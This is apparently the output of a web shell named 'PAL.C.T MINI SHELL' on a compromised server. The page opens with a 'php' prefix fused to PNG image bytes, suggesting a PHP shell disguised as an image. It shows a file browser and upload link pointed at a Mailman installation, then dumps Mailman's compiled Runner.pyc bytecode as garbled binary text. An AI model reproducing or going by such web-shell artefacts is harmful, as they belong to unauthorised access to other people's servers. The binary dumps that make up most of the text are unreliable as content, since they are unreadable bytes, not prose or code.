php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Queue/
upload
files >> //usr/lib/mailman/Mailman/Queue/Runner.pyc

Pc@sdZddkZddkZddkZddklZddklZddklZddkl	Z	ddkl
Z
ddklZdd	kl
Z
dd
klZddkZyeefWnej
odZdZnXd
ddYZdS(sGeneric queue runner class.
iN(tStringIO(tmm_cfg(tUtils(tErrors(tMailList(ti18n(tsyslog(tSwitchboardiitRunnercBseZdZeiZdddZdZdZ	dZ
dZdZe
iZdZdZd	Zd
ZdZdZd
ZRS(icCsCh|_t|i||t|_tti|_t|_	dS(N(
t_kidsRtQDIRtTruet_switchboardRtSHUNTQUEUE_DIRt_shunttFalset_stop(tselftslicet	numslices((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pyt__init__1s	cCsd|iit|fS(Ns
<%s at %s>(t	__class__t__name__tid(R((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pyt__repr__:scCs
t|_dS(N(RR(R((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pytstop=scCsqz_yEx>to6|i}|i|ioPn|i|q	WWntj
onXWd|iXdS(N(Rt_oneloopt_doperiodicRt_snoozetKeyboardInterruptt_cleanup(Rtfilecnt((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pytrun@s

	cCs|ii}x|D]}y|ii|\}}Wnutj
oi}|i|tiotdd|t}ntdd|t	}|ii
|d|qnXy$|i|||ii
|Wntj
o}|i||ii|d<y9|i
i||}tdd||ii
|Wqtj
o<}|i|tdd||ii
|dtqXnXti|idt|i|ioPqqWt|S(	Nterrors/Skipping and preserving unparseable message: %ss Ignoring unparseable message: %stpreservetwhichqsSHUNTING: %ss.SHUNTING FAILED, preserving original entry: %stonce(Rtfilestdequeuet	Exceptiont_logRtQRUNNER_SAVE_BAD_MESSAGESRRRtfinisht_onefileR#RtenqueueRtreapR	Rt
_shortcircuittlen(RR%tfilebasetmsgtmsgdatateR"tnew_filebase((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pyRZsL





 

	c
Cs)|id}|p
ti}n|i|}|p(tdd||ii||dSti}|i	}|o|i
|}n
ti}ti|||d<z|i
|||}Wdti|X|id}	|	o|ii|	n|o|ii||ndS(NtlistnameR!s/Dequeuing message destined for missing list: %stlangR	(tgetRtMAILMAN_SITE_LISTt
_open_listRRR,Rtget_translationt
get_sendertgetMemberLanguagetDEFAULT_SERVER_LANGUAGEtset_languaget_disposetset_translationR	tupdateR(
RR1R2R5tmlisttotranslationtsenderR6t
keepqueuedtkids((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pyR+s2

	

cCsv|ii|}|pYyti|dt}Wn,tij
o}tdd||dSX||i|<n|S(NtlockR!serror opening list: %s
%s(t
_listcacheR7RRRtMMListErrorRtNone(RR5RBR3((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pyR9scCs@tdd|t}tid|td|idS(NR!sUncaught runner exception: %stfile(RRt	tracebackt	print_exctgetvalue(Rtexcts((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pyR(s	cCsti|idS(sClean up upon exit from the main processing loop.

        Called when the Runner's main loop is stopped, this should perform
        any necessary resource deallocation.  Its return value is irrelevant.
        N(RR-R	(R((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pyRscCs
tdS(sDispose of a single message destined for a mailing list.

        Called for each message that the Runner is responsible for, this is
        the primary overridable method for processing each message.
        Subclasses, must provide implementation for this method.

        mlist is the MailList instance this message is destined for.

        msg is the Message object representing the message.

        msgdata is a dictionary of message metadata.
        N(tNotImplementedError(RRBR1R2((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pyR?s
cCsdS(s*Do some processing `every once in a while'.

        Called every once in a while both from the Runner's main loop, and
        from the Runner's hash slice processing loop.  You can do whatever
        special periodic processing you want here, and the return value is
        irrelevant.
        N((R((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pyRscCs0|p|idjodSti|idS(s+Sleep for a little while.

        filecnt is the number of messages in the queue the last time through.
        Sub-runners can decide to continue to do work, or sleep for a while
        based on this value.  By default, we only snooze if there was nothing
        to do last time around.
        iN(t	SLEEPTIMEttimetsleep(RR((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pyRscCs|iS(snReturn a true value if the individual file processing loop should
        exit before it's finished processing each message in the current slice
        of hash space.  A false value tells _oneloop() to continue processing
        until the current snapshot of hash space is exhausted.

        You could, for example, implement a throttling algorithm here.
        (R(R((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pyR.sN(Rt
__module__RJR
RtQRUNNER_SLEEP_TIMERRRRRR RR+tweakreftWeakValueDictionaryRHR9R(RR?RRR.(((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pyR-s 						A	/						
	((t__doc__RSRLRWt	cStringIORtMailmanRRRRRtMailman.Logging.SyslogRtMailman.Queue.SwitchboardRtemail.ErrorstemailRRt	NameErrorR(((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/Runner.pyt<module>s$
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`